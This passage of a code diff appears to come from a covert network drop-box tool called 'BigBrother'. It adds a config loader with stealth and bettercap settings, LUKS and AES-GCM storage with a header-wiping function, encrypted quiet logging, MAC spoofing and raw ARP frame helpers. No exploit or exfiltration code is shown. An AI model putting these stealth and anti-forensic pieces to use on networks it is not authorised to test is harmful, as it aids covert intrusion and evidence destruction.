"-api-rest-password", self.password,
|
||||
]
|
||||
@@ -0,0 +1,179 @@
|
||||
#!/usr/bin/env python3
|
||||
"""YAML config loader with merge hierarchy, hardware tier detection, and SIGHUP reload."""
|
||||
|
||||
import copy
|
||||
import os
|
||||
import signal
|
||||
import threading
|
||||
from pathlib import Path
|
||||
from typing import Any, Callable, Dict, List, Optional
|
||||
|
||||
import yaml
|
||||
|
||||
from utils.resource import get_hardware_tier
|
||||
|
||||
CONFIG_DIR = "config"
|
||||
MERGE_ORDER = [
|
||||
"hardware_tiers.yaml",
|
||||
"bigbrother.yaml",
|
||||
"modules.yaml",
|
||||
"stealth.yaml",
|
||||
]
|
||||
|
||||
|
||||
def deep_merge(base: dict, override: dict) -> dict:
|
||||
result = copy.deepcopy(base)
|
||||
for key, value in override.items():
|
||||
if key in result and isinstance(result[key], dict) and isinstance(value, dict):
|
||||
result[key] = deep_merge(result[key], value)
|
||||
else:
|
||||
result[key] = copy.deepcopy(value)
|
||||
return result
|
||||
|
||||
|
||||
class ConfigLoader:
|
||||
def __init__(
|
||||
self,
|
||||
config_dir: str = CONFIG_DIR,
|
||||
cli_overrides: Optional[Dict[str, Any]] = None,
|
||||
auto_detect_tier: bool = True,
|
||||
):
|
||||
self.config_dir = Path(config_dir)
|
||||
self.cli_overrides = cli_overrides or {}
|
||||
self.auto_detect_tier = auto_detect_tier
|
||||
self._config: Dict[str, Any] = {}
|
||||
self._lock = threading.Lock()
|
||||
self._reload_callbacks: List[Callable] = []
|
||||
self._loaded = False
|
||||
|
||||
def load(self) -> Dict[str, Any]:
|
||||
with self._lock:
|
||||
self._config = self._build_config()
|
||||
self._loaded = True
|
||||
return copy.deepcopy(self._config)
|
||||
|
||||
def _build_config(self) -> Dict[str, Any]:
|
||||
merged: Dict[str, Any] = {}
|
||||
|
||||
for filename in MERGE_ORDER:
|
||||
filepath = self.config_dir / filename
|
||||
if filepath.exists():
|
||||
try:
|
||||
with open(filepath, "r") as f:
|
||||
data = yaml.safe_load(f) or {}
|
||||
merged = deep_merge(merged, data)
|
||||
except (yaml.YAMLError, IOError):
|
||||
continue
|
||||
|
||||
# Apply hardware tier defaults
|
||||
if self.auto_detect_tier:
|
||||
merged = self._apply_tier_limits(merged)
|
||||
|
||||
# Apply CLI overrides last (highest priority)
|
||||
if self.cli_overrides:
|
||||
merged = deep_merge(merged, self.cli_overrides)
|
||||
|
||||
# Validate
|
||||
self._validate(merged)
|
||||
|
||||
return merged
|
||||
|
||||
def _apply_tier_limits(self, config: dict) -> dict:
|
||||
tier = config.get("device", {}).get("platform", "auto")
|
||||
if tier == "auto":
|
||||
tier = get_hardware_tier()
|
||||
config.setdefault("device", {})["platform"] = tier
|
||||
|
||||
# Extract tier-specific limits from hardware_tiers section
|
||||
tiers = config.pop("hardware_tiers", {})
|
||||
tier_config = tiers.get(tier, tiers.get("generic", {}))
|
||||
|
||||
if tier_config:
|
||||
config = deep_merge(config, tier_config)
|
||||
|
||||
# Apply well-known tier constraints
|
||||
if tier == "pi_zero":
|
||||
config.setdefault("capture", {})["pcap_compression_level"] = 3
|
||||
config.setdefault("security", {})["encryption_key_derive"] = "pbkdf2"
|
||||
# Limit passive modules
|
||||
limits = config.setdefault("limits", {})
|
||||
limits.setdefault("max_passive_modules", 4)
|
||||
limits.setdefault("max_active_modules", 0)
|
||||
elif tier == "opi_zero3":
|
||||
config.setdefault("capture", {})["pcap_compression_level"] = 19
|
||||
config.setdefault("security", {})["encryption_key_derive"] = "argon2id"
|
||||
limits = config.setdefault("limits", {})
|
||||
limits.setdefault("max_passive_modules", 16)
|
||||
limits.setdefault("max_active_modules", 6)
|
||||
else:
|
||||
config.setdefault("capture", {})["pcap_compression_level"] = 19
|
||||
config.setdefault("security", {})["encryption_key_derive"] = "argon2id"
|
||||
limits = config.setdefault("limits", {})
|
||||
limits.setdefault("max_passive_modules", 16)
|
||||
limits.setdefault("max_active_modules", -1) # unlimited
|
||||
|
||||
return config
|
||||
|
||||
def _validate(self, config: dict) -> None:
|
||||
device = config.get("device", {})
|
||||
platform = device.get("platform", "")
|
||||
if platform and platform not in ("auto", "opi_zero3", "pi_zero", "generic"):
|
||||
raise ValueError(f"Invalid platform: {platform}")
|
||||
|
||||
capture = config.get("capture", {})
|
||||
comp_level = capture.get("pcap_compression_level")
|
||||
if comp_level is not None and not (1 <= comp_level <= 22):
|
||||
raise ValueError(f"Invalid compression level: {comp_level}")
|
||||
|
||||
bettercap = config.get("bettercap", {})
|
||||
port = bettercap.get("api_port")
|
||||
if port is not None and not (1 <= port <= 65535):
|
||||
raise ValueError(f"Invalid bettercap API port: {port}")
|
||||
|
||||
security = config.get("security", {})
|
||||
kdf = security.get("encryption_key_derive")
|
||||
if kdf and kdf not in ("argon2id", "pbkdf2"):
|
||||
raise ValueError(f"Invalid key derivation method: {kdf}")
|
||||
|
||||
def get(self, key_path: str, default: Any = None) -> Any:
|
||||
with self._lock:
|
||||
keys = key_path.split(".")
|
||||
current = self._config
|
||||
for k in keys:
|
||||
if isinstance(current, dict) and k in current:
|
||||
current = current[k]
|
||||
else:
|
||||
return default
|
||||
return copy.deepcopy(current)
|
||||
|
||||
def reload(self) -> Dict[str, Any]:
|
||||
config = self.load()
|
||||
for cb in self._reload_callbacks:
|
||||
try:
|
||||
cb(config)
|
||||
except Exception:
|
||||
pass
|
||||
return config
|
||||
|
||||
def on_reload(self, callback: Callable):
|
||||
self._reload_callbacks.append(callback)
|
||||
|
||||
def register_sighup(self):
|
||||
def _handler(signum, frame):
|
||||
self.reload()
|
||||
signal.signal(signal.SIGHUP, _handler)
|
||||
|
||||
@property
|
||||
def config(self) -> Dict[str, Any]:
|
||||
with self._lock:
|
||||
if not self._loaded:
|
||||
return self.load()
|
||||
return copy.deepcopy(self._config)
|
||||
|
||||
|
||||
def load_config(
|
||||
config_dir: str = CONFIG_DIR,
|
||||
cli_overrides: Optional[Dict[str, Any]] = None,
|
||||
) -> Dict[str, Any]:
|
||||
loader = ConfigLoader(config_dir=config_dir, cli_overrides=cli_overrides)
|
||||
return loader.load()
|
||||
+189
@@ -0,0 +1,189 @@
|
||||
#!/usr/bin/env python3
|
||||
"""AES-256-GCM encryption, key derivation, and LUKS container management."""
|
||||
|
||||
import os
|
||||
import struct
|
||||
import subprocess
|
||||
import hashlib
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
|
||||
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
|
||||
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
|
||||
from cryptography.hazmat.primitives import hashes
|
||||
|
||||
try:
|
||||
from argon2.low_level import hash_secret_raw, Type
|
||||
HAS_ARGON2 = True
|
||||
except ImportError:
|
||||
HAS_ARGON2 = False
|
||||
|
||||
NONCE_SIZE = 12
|
||||
KEY_SIZE = 32
|
||||
SALT_SIZE = 16
|
||||
HEADER_MAGIC = b"BB01"
|
||||
HEADER_FMT = f"!4s{SALT_SIZE}s{NONCE_SIZE}s"
|
||||
HEADER_SIZE = struct.calcsize(HEADER_FMT)
|
||||
|
||||
|
||||
def derive_key(password: bytes, salt: bytes, method: str = "argon2id") -> bytes:
|
||||
if method == "argon2id" and HAS_ARGON2:
|
||||
return hash_secret_raw(
|
||||
secret=password,
|
||||
salt=salt,
|
||||
time_cost=3,
|
||||
memory_cost=65536,
|
||||
parallelism=4,
|
||||
hash_len=KEY_SIZE,
|
||||
type=Type.ID,
|
||||
)
|
||||
return PBKDF2HMAC(
|
||||
algorithm=hashes.SHA256(),
|
||||
length=KEY_SIZE,
|
||||
salt=salt,
|
||||
iterations=600_000,
|
||||
).derive(password)
|
||||
|
||||
|
||||
def derive_network_key(network_secret: bytes, device_serial: bytes) -> bytes:
|
||||
return HKDF(
|
||||
algorithm=hashes.SHA256(),
|
||||
length=KEY_SIZE,
|
||||
salt=device_serial,
|
||||
info=b"bigbrother-luks-unlock",
|
||||
).derive(network_secret)
|
||||
|
||||
|
||||
class CryptoEngine:
|
||||
def __init__(self, key: bytes):
|
||||
if len(key) != KEY_SIZE:
|
||||
raise ValueError(f"Key must be {KEY_SIZE} bytes")
|
||||
self._aesgcm = AESGCM(key)
|
||||
self._key = key
|
||||
|
||||
def encrypt(self, plaintext: bytes, aad: Optional[bytes] = None) -> bytes:
|
||||
nonce = os.urandom(NONCE_SIZE)
|
||||
ct = self._aesgcm.encrypt(nonce, plaintext, aad)
|
||||
return nonce + ct
|
||||
|
||||
def decrypt(self, data: bytes, aad: Optional[bytes] = None) -> bytes:
|
||||
nonce = data[:NONCE_SIZE]
|
||||
ct = data[NONCE_SIZE:]
|
||||
return self._aesgcm.decrypt(nonce, ct, aad)
|
||||
|
||||
|
||||
def encrypt_file(
|
||||
src: str,
|
||||
dst: str,
|
||||
password: bytes,
|
||||
method: str = "argon2id",
|
||||
chunk_size: int = 64 * 1024,
|
||||
) -> None:
|
||||
salt = os.urandom(SALT_SIZE)
|
||||
key = derive_key(password, salt, method)
|
||||
engine = CryptoEngine(key)
|
||||
|
||||
with open(src, "rb") as fin:
|
||||
plaintext = fin.read()
|
||||
|
||||
nonce = os.urandom(NONCE_SIZE)
|
||||
aesgcm = AESGCM(key)
|
||||
ct = aesgcm.encrypt(nonce, plaintext, None)
|
||||
|
||||
with open(dst, "wb") as fout:
|
||||
fout.write(struct.pack(HEADER_FMT, HEADER_MAGIC, salt, nonce))
|
||||
fout.write(ct)
|
||||
|
||||
|
||||
def decrypt_file(
|
||||
src: str,
|
||||
dst: str,
|
||||
password: bytes,
|
||||
method: str = "argon2id",
|
||||
) -> None:
|
||||
with open(src, "rb") as fin:
|
||||
header = fin.read(HEADER_SIZE)
|
||||
magic, salt, nonce = struct.unpack(HEADER_FMT, header)
|
||||
if magic != HEADER_MAGIC:
|
||||
raise ValueError("Invalid encrypted file header")
|
||||
ct = fin.read()
|
||||
|
||||
key = derive_key(password, salt, method)
|
||||
aesgcm = AESGCM(key)
|
||||
plaintext = aesgcm.decrypt(nonce, ct, None)
|
||||
|
||||
with open(dst, "wb") as fout:
|
||||
fout.write(plaintext)
|
||||
|
||||
|
||||
class LUKSContainer:
|
||||
def __init__(self, container_path: str, mount_point: str, mapper_name: str = "bb_storage"):
|
||||
self.container_path = container_path
|
||||
self.mount_point = mount_point
|
||||
self.mapper_name = mapper_name
|
||||
self.device_path = f"/dev/mapper/{mapper_name}"
|
||||
|
||||
def create(self, size_mb: int, passphrase: bytes) -> bool:
|
||||
try:
|
||||
subprocess.run(
|
||||
["dd", "if=/dev/zero", f"of={self.container_path}",
|
||||
"bs=1M", f"count={size_mb}"],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
proc = subprocess.run(
|
||||
["cryptsetup", "luksFormat", "--type", "luks2",
|
||||
"--cipher", "aes-xts-plain64", "--key-size", "512",
|
||||
"--hash", "sha256", "--batch-mode", self.container_path],
|
||||
input=passphrase + b"\n",
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
return True
|
||||
except subprocess.CalledProcessError:
|
||||
return False
|
||||
|
||||
def open(self, passphrase: bytes) -> bool:
|
||||
try:
|
||||
subprocess.run(
|
||||
["cryptsetup", "open", self.container_path,
|
||||
self.mapper_name, "--type", "luks2"],
|
||||
input=passphrase + b"\n",
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
Path(self.mount_point).mkdir(parents=True, exist_ok=True)
|
||||
subprocess.run(
|
||||
["mount", self.device_path, self.mount_point],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
return True
|
||||
except subprocess.CalledProcessError:
|
||||
return False
|
||||
|
||||
def close(self) -> bool:
|
||||
try:
|
||||
subprocess.run(
|
||||
["umount", self.mount_point],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
subprocess.run(
|
||||
["cryptsetup", "close", self.mapper_name],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
return True
|
||||
except subprocess.CalledProcessError:
|
||||
return False
|
||||
|
||||
def destroy_header(self) -> bool:
|
||||
try:
|
||||
subprocess.run(
|
||||
["dd", "if=/dev/urandom", f"of={self.container_path}",
|
||||
"bs=1M", "count=2", "conv=notrunc"],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
return True
|
||||
except subprocess.CalledProcessError:
|
||||
return False
|
||||
|
||||
@property
|
||||
def is_open(self) -> bool:
|
||||
return Path(self.device_path).exists()
|
||||
@@ -0,0 +1,146 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Encrypted log writer for BigBrother. Named bb_logging to avoid shadowing stdlib logging."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
|
||||
LOG_FORMAT = "[{timestamp}] [{module}] [{level}] {message}"
|
||||
MAX_LOG_SIZE = 10 * 1024 * 1024 # 10MB default rotation size
|
||||
LOG_DIR = "storage/logs"
|
||||
|
||||
|
||||
class EncryptedLogHandler(logging.Handler):
|
||||
def __init__(
|
||||
self,
|
||||
module_name: str,
|
||||
log_dir: str = LOG_DIR,
|
||||
max_bytes: int = MAX_LOG_SIZE,
|
||||
encrypt: bool = False,
|
||||
crypto_engine=None,
|
||||
):
|
||||
super().__init__()
|
||||
self.module_name = module_name
|
||||
self.log_dir = Path(log_dir)
|
||||
self.log_dir.mkdir(parents=True, exist_ok=True)
|
||||
self.max_bytes = max_bytes
|
||||
self.encrypt = encrypt
|
||||
self.crypto_engine = crypto_engine
|
||||
self._log_path = self.log_dir / f"{module_name}.log"
|
||||
self._file = None
|
||||
self._current_size = 0
|
||||
self._open_file()
|
||||
|
||||
def _open_file(self):
|
||||
if self._file:
|
||||
self._file.close()
|
||||
mode = "ab" if self.encrypt else "a"
|
||||
self._file = open(self._log_path, mode)
|
||||
self._current_size = self._log_path.stat().st_size if self._log_path.exists() else 0
|
||||
|
||||
def _rotate(self):
|
||||
if self._file:
|
||||
self._file.close()
|
||||
rotated = self._log_path.with_suffix(f".log.{int(time.time())}")
|
||||
if self._log_path.exists():
|
||||
self._log_path.rename(rotated)
|
||||
self._open_file()
|
||||
|
||||
def emit(self, record):
|
||||
try:
|
||||
ts = time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime(record.created))
|
||||
line = LOG_FORMAT.format(
|
||||
timestamp=ts,
|
||||
module=self.module_name,
|
||||
level=record.levelname,
|
||||
message=record.getMessage(),
|
||||
)
|
||||
if self.encrypt and self.crypto_engine:
|
||||
data = self.crypto_engine.encrypt(line.encode("utf-8"))
|
||||
length_prefix = len(data).to_bytes(4, "big")
|
||||
self._file.write(length_prefix)
|
||||
self._file.write(data)
|
||||
self._current_size += 4 + len(data)
|
||||
else:
|
||||
line += "\n"
|
||||
self._file.write(line)
|
||||
self._current_size += len(line.encode("utf-8"))
|
||||
|
||||
self._file.flush()
|
||||
|
||||
if self._current_size >= self.max_bytes:
|
||||
self._rotate()
|
||||
except Exception:
|
||||
self.handleError(record)
|
||||
|
||||
def close(self):
|
||||
if self._file:
|
||||
self._file.close()
|
||||
self._file = None
|
||||
super().close()
|
||||
|
||||
|
||||
class BBLogger:
|
||||
def __init__(
|
||||
self,
|
||||
module_name: str,
|
||||
log_dir: str = LOG_DIR,
|
||||
max_bytes: int = MAX_LOG_SIZE,
|
||||
level: int = logging.INFO,
|
||||
encrypt: bool = False,
|
||||
crypto_engine=None,
|
||||
suppress_stdout: bool = True,
|
||||
):
|
||||
self.module_name = module_name
|
||||
self.logger = logging.getLogger(f"bb.{module_name}")
|
||||
self.logger.setLevel(level)
|
||||
self.logger.propagate = False
|
||||
|
||||
# Clear existing handlers to prevent duplicates
|
||||
self.logger.handlers.clear()
|
||||
|
||||
self._file_handler = EncryptedLogHandler(
|
||||
module_name=module_name,
|
||||
log_dir=log_dir,
|
||||
max_bytes=max_bytes,
|
||||
encrypt=encrypt,
|
||||
crypto_engine=crypto_engine,
|
||||
)
|
||||
self._file_handler.setLevel(level)
|
||||
self.logger.addHandler(self._file_handler)
|
||||
|
||||
if not suppress_stdout:
|
||||
console = logging.StreamHandler()
|
||||
console.setLevel(level)
|
||||
fmt = logging.Formatter(
|
||||
"[%(asctime)s] [%(name)s] [%(levelname)s] %(message)s",
|
||||
datefmt="%Y-%m-%d %H:%M:%S",
|
||||
)
|
||||
console.setFormatter(fmt)
|
||||
self.logger.addHandler(console)
|
||||
|
||||
def debug(self, msg: str, *args, **kwargs):
|
||||
self.logger.debug(msg, *args, **kwargs)
|
||||
|
||||
def info(self, msg: str, *args, **kwargs):
|
||||
self.logger.info(msg, *args, **kwargs)
|
||||
|
||||
def warning(self, msg: str, *args, **kwargs):
|
||||
self.logger.warning(msg, *args, **kwargs)
|
||||
|
||||
def error(self, msg: str, *args, **kwargs):
|
||||
self.logger.error(msg, *args, **kwargs)
|
||||
|
||||
def critical(self, msg: str, *args, **kwargs):
|
||||
self.logger.critical(msg, *args, **kwargs)
|
||||
|
||||
def set_level(self, level: int):
|
||||
self.logger.setLevel(level)
|
||||
self._file_handler.setLevel(level)
|
||||
|
||||
def close(self):
|
||||
self._file_handler.close()
|
||||
self.logger.removeHandler(self._file_handler)
|
||||
@@ -0,0 +1,250 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Network interface helpers, BPF compilation, gratuitous ARP. No scapy dependency."""
|
||||
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
import fcntl
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
from typing import List, Optional, Tuple
|
||||
|
||||
SIOCGIFADDR = 0x8915
|
||||
SIOCGIFHWADDR = 0x8927
|
||||
SIOCSIFHWADDR = 0x8924
|
||||
SIOCGIFFLAGS = 0x8913
|
||||
SIOCSIFFLAGS = 0x8914
|
||||
IFF_UP = 0x1
|
||||
IFF_RUNNING = 0x40
|
||||
ARPHRD_ETHER = 1
|
||||
|
||||
_libpcap = None
|
||||
|
||||
|
||||
def _get_libpcap():
|
||||
global _libpcap
|
||||
if _libpcap is None:
|
||||
lib = ctypes.util.find_library("pcap")
|
||||
if not lib:
|
||||
raise OSError("libpcap not found")
|
||||
_libpcap = ctypes.CDLL(lib)
|
||||
return _libpcap
|
||||
|
||||
|
||||
def _ifreq(ifname: str) -> bytes:
|
||||
return struct.pack("256s", ifname.encode("utf-8")[:15])
|
||||
|
||||
|
||||
def get_all_interfaces() -> List[str]:
|
||||
interfaces = []
|
||||
net_path = Path("/sys/class/net")
|
||||
if net_path.exists():
|
||||
for entry in net_path.iterdir():
|
||||
name = entry.name
|
||||
if name != "lo":
|
||||
interfaces.append(name)
|
||||
return sorted(interfaces)
|
||||
|
||||
|
||||
def get_primary_interface() -> Optional[str]:
|
||||
try:
|
||||
with open("/proc/net/route", "r") as f:
|
||||
for line in f.readlines()[1:]:
|
||||
fields = line.strip().split()
|
||||
if fields[1] == "00000000":
|
||||
return fields[0]
|
||||
except (IOError, IndexError):
|
||||
pass
|
||||
interfaces = get_all_interfaces()
|
||||
for iface in interfaces:
|
||||
if iface.startswith(("eth", "en")):
|
||||
return iface
|
||||
return interfaces[0] if interfaces else None
|
||||
|
||||
|
||||
def get_bridge_candidates() -> List[str]:
|
||||
candidates = []
|
||||
for iface in get_all_interfaces():
|
||||
if iface.startswith(("eth", "en", "usb")):
|
||||
candidates.append(iface)
|
||||
return candidates
|
||||
|
||||
|
||||
def get_wifi_interfaces() -> List[str]:
|
||||
interfaces = []
|
||||
for iface in get_all_interfaces():
|
||||
phy_path = Path(f"/sys/class/net/{iface}/phy80211")
|
||||
wireless_path = Path(f"/sys/class/net/{iface}/wireless")
|
||||
if phy_path.exists() or wireless_path.exists() or iface.startswith("wlan"):
|
||||
interfaces.append(iface)
|
||||
return interfaces
|
||||
|
||||
|
||||
def get_mac(interface: str) -> str:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
info = fcntl.ioctl(sock.fileno(), SIOCGIFHWADDR, _ifreq(interface))
|
||||
mac_bytes = info[18:24]
|
||||
return ":".join(f"{b:02x}" for b in mac_bytes)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
|
||||
def set_mac(interface: str, mac: str) -> None:
|
||||
was_up = is_interface_up(interface)
|
||||
if was_up:
|
||||
interface_down(interface)
|
||||
mac_bytes = bytes(int(b, 16) for b in mac.split(":"))
|
||||
ifreq = struct.pack("16sH6s8s", interface.encode()[:15], ARPHRD_ETHER, mac_bytes, b"\x00" * 8)
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
fcntl.ioctl(sock.fileno(), SIOCSIFHWADDR, ifreq)
|
||||
finally:
|
||||
sock.close()
|
||||
if was_up:
|
||||
interface_up(interface)
|
||||
|
||||
|
||||
def get_ip(interface: str) -> Optional[str]:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
info = fcntl.ioctl(sock.fileno(), SIOCGIFADDR, _ifreq(interface))
|
||||
return socket.inet_ntoa(info[20:24])
|
||||
except OSError:
|
||||
return None
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
|
||||
def is_interface_up(interface: str) -> bool:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
result = fcntl.ioctl(sock.fileno(), SIOCGIFFLAGS, _ifreq(interface))
|
||||
flags = struct.unpack("16sH", result[:18])[1]
|
||||
return bool(flags & IFF_UP)
|
||||
except OSError:
|
||||
return False
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
|
||||
def interface_up(interface: str) -> None:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
result = fcntl.ioctl(sock.fileno(), SIOCGIFFLAGS, _ifreq(interface))
|
||||
flags = struct.unpack("16sH", result[:18])[1]
|
||||
flags |= IFF_UP | IFF_RUNNING
|
||||
ifreq = struct.pack("16sH", interface.encode()[:15], flags)
|
||||
fcntl.ioctl(sock.fileno(), SIOCSIFFLAGS, ifreq)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
|
||||
def interface_down(interface: str) -> None:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
result = fcntl.ioctl(sock.fileno(), SIOCGIFFLAGS, _ifreq(interface))
|
||||
flags = struct.unpack("16sH", result[:18])[1]
|
||||
flags &= ~IFF_UP
|
||||
ifreq = struct.pack("16sH", interface.encode()[:15], flags)
|
||||
fcntl.ioctl(sock.fileno(), SIOCSIFFLAGS, ifreq)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
|
||||
def create_vlan_interface(parent: str, vlan_id: int) -> str:
|
||||
vlan_iface = f"{parent}.{vlan_id}"
|
||||
subprocess.run(
|
||||
["ip", "link", "add", "link", parent, "name", vlan_iface,
|
||||
"type", "vlan", "id", str(vlan_id)],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
interface_up(vlan_iface)
|
||||
return vlan_iface
|
||||
|
||||
|
||||
def compile_bpf(expression: str, snaplen: int = 65535, linktype: int = 1) -> bytes:
|
||||
pcap = _get_libpcap()
|
||||
|
||||
class bpf_insn(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("code", ctypes.c_ushort),
|
||||
("jt", ctypes.c_ubyte),
|
||||
("jf", ctypes.c_ubyte),
|
||||
("k", ctypes.c_uint32),
|
||||
]
|
||||
|
||||
class bpf_program(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("bf_len", ctypes.c_uint),
|
||||
("bf_insns", ctypes.POINTER(bpf_insn)),
|
||||
]
|
||||
|
||||
handle = pcap.pcap_open_dead(ctypes.c_int(linktype), ctypes.c_int(snaplen))
|
||||
if not handle:
|
||||
raise RuntimeError("pcap_open_dead failed")
|
||||
|
||||
prog = bpf_program()
|
||||
expr_bytes = expression.encode("utf-8")
|
||||
ret = pcap.pcap_compile(
|
||||
handle,
|
||||
ctypes.byref(prog),
|
||||
ctypes.c_char_p(expr_bytes),
|
||||
ctypes.c_int(1),
|
||||
ctypes.c_uint32(0xFFFFFFFF),
|
||||
)
|
||||
if ret != 0:
|
||||
err = pcap.pcap_geterr(handle)
|
||||
pcap.pcap_close(handle)
|
||||
if err:
|
||||
raise ValueError(f"BPF compile failed: {ctypes.string_at(err).decode()}")
|
||||
raise ValueError("BPF compile failed")
|
||||
|
||||
insn_size = ctypes.sizeof(bpf_insn)
|
||||
result = bytes(ctypes.string_at(prog.bf_insns, prog.bf_len * insn_size))
|
||||
pcap.pcap_freecode(ctypes.byref(prog))
|
||||
pcap.pcap_close(handle)
|
||||
return result
|
||||
|
||||
|
||||
def send_gratuitous_arp(interface: str, ip: str, mac: str) -> None:
|
||||
ETH_P_ARP = 0x0806
|
||||
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ARP))
|
||||
try:
|
||||
sock.bind((interface, 0))
|
||||
src_mac = bytes(int(b, 16) for b in mac.split(":"))
|
||||
dst_mac = b"\xff" * 6
|
||||
src_ip = socket.inet_aton(ip)
|
||||
|
||||
# Ethernet header
|
||||
frame = dst_mac + src_mac + struct.pack("!H", ETH_P_ARP)
|
||||
# ARP: hardware=Ethernet, proto=IPv4, hlen=6, plen=4, op=reply(2)
|
||||
frame += struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
|
||||
# sender MAC + IP
|
||||
frame += src_mac + src_ip
|
||||
# target MAC + IP (broadcast)
|
||||
frame += dst_mac + src_ip
|
||||
|
||||
for _ in range(3):
|
||||
sock.send(frame)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
|
||||
def mac_to_bytes(mac: str) -> bytes:
|
||||
return bytes(int(b, 16) for b in mac.split(":"))
|
||||
|
||||
|
||||
def bytes_to_mac(data: bytes) -> str:
|
||||
return ":".join(f"{b:02x}" for b in data)
|
||||
|
||||
|
||||
def ip_in_subnet(ip: str, cidr: str) -> bool:
|
||||
network, prefix_len = cidr.split("/")
|
||||
prefix_len = int(prefix_len)
|
||||
ip_int = struct.unpack("!I", socket.inet_aton(ip))[0]
|
||||
net_int = struct.unpack("!I", socket.inet_aton(network))[0]
|
||||
mask = (0xFFFFFFFF << (32 - prefix_len)) & 0xFFFFFFFF
|
||||
return (ip_int & mask) == (net_int & mask)
|
||||
@@ -0,0 +1,190 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Root/capability checks, privilege dropping, directory permission enforcement."""
|
||||
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
import grp
|
||||
import os
|
||||
import pwd
|
||||
import stat
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
# Linux capability constants
|
||||
CAP_NET_RAW = 13
|
||||
CAP_NET_ADMIN = 15
|
||||
CAP_SYS_ADMIN = 21
|
||||
CAP_DAC_OVERRIDE = 1
|
||||
|
||||
# capget/capset structures
|
||||
_LINUX_CAPABILITY_VERSION_3 = 0x20080522
|
||||
_VFS_CAP_REVISION_2 = 0x02000000
|
||||
|
||||
_libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
|
||||
|
||||
|
||||
class _cap_header(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("version", ctypes.c_uint32),
|
||||
("pid", ctypes.c_int),
|
||||
]
|
||||
|
||||
|
||||
class _cap_data(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("effective", ctypes.c_uint32),
|
||||
("permitted", ctypes.c_uint32),
|
||||
("inheritable", ctypes.c_uint32),
|
||||
]
|
||||
|
||||
|
||||
def check_root() -> bool:
|
||||
return os.geteuid() == 0
|
||||
|
||||
|
||||
def check_capability(cap: int) -> bool:
|
||||
if check_root():
|
||||
return True
|
||||
|
||||
try:
|
||||
header = _cap_header(version=_LINUX_CAPABILITY_VERSION_3, pid=0)
|
||||
# Version 3 uses 2 data structs for 64-bit capability sets
|
||||
data = (_cap_data * 2)()
|
||||
ret = _libc.capget(ctypes.byref(header), data)
|
||||
if ret != 0:
|
||||
return False
|
||||
|
||||
idx = cap // 32
|
||||
bit = 1 << (cap % 32)
|
||||
return bool(data[idx].effective & bit)
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def has_net_raw() -> bool:
|
||||
return check_capability(CAP_NET_RAW)
|
||||
|
||||
|
||||
def has_net_admin() -> bool:
|
||||
return check_capability(CAP_NET_ADMIN)
|
||||
|
||||
|
||||
def check_required_capabilities() -> dict:
|
||||
return {
|
||||
"root": check_root(),
|
||||
"CAP_NET_RAW": check_capability(CAP_NET_RAW),
|
||||
"CAP_NET_ADMIN": check_capability(CAP_NET_ADMIN),
|
||||
"CAP_SYS_ADMIN": check_capability(CAP_SYS_ADMIN),
|
||||
}
|
||||
|
||||
|
||||
def drop_privileges(
|
||||
username: str = "nobody",
|
||||
groupname: Optional[str] = None,
|
||||
keep_caps: Optional[list] = None,
|
||||
) -> bool:
|
||||
if not check_root():
|
||||
return False
|
||||
|
||||
try:
|
||||
pw = pwd.getpwnam(username)
|
||||
uid = pw.pw_uid
|
||||
gid = pw.pw_gid
|
||||
|
||||
if groupname:
|
||||
gr = grp.getgrnam(groupname)
|
||||
gid = gr.gr_gid
|
||||
|
||||
# Set supplementary groups
|
||||
os.setgroups([])
|
||||
|
||||
# Set GID first (can't change after dropping root)
|
||||
os.setregid(gid, gid)
|
||||
os.setreuid(uid, uid)
|
||||
|
||||
# Verify drop
|
||||
if os.geteuid() == 0:
|
||||
return False
|
||||
|
||||
# Re-apply specific capabilities if requested
|
||||
if keep_caps:
|
||||
_set_keepcaps()
|
||||
_apply_caps(keep_caps)
|
||||
|
||||
return True
|
||||
except (KeyError, PermissionError, OSError):
|
||||
return False
|
||||
|
||||
|
||||
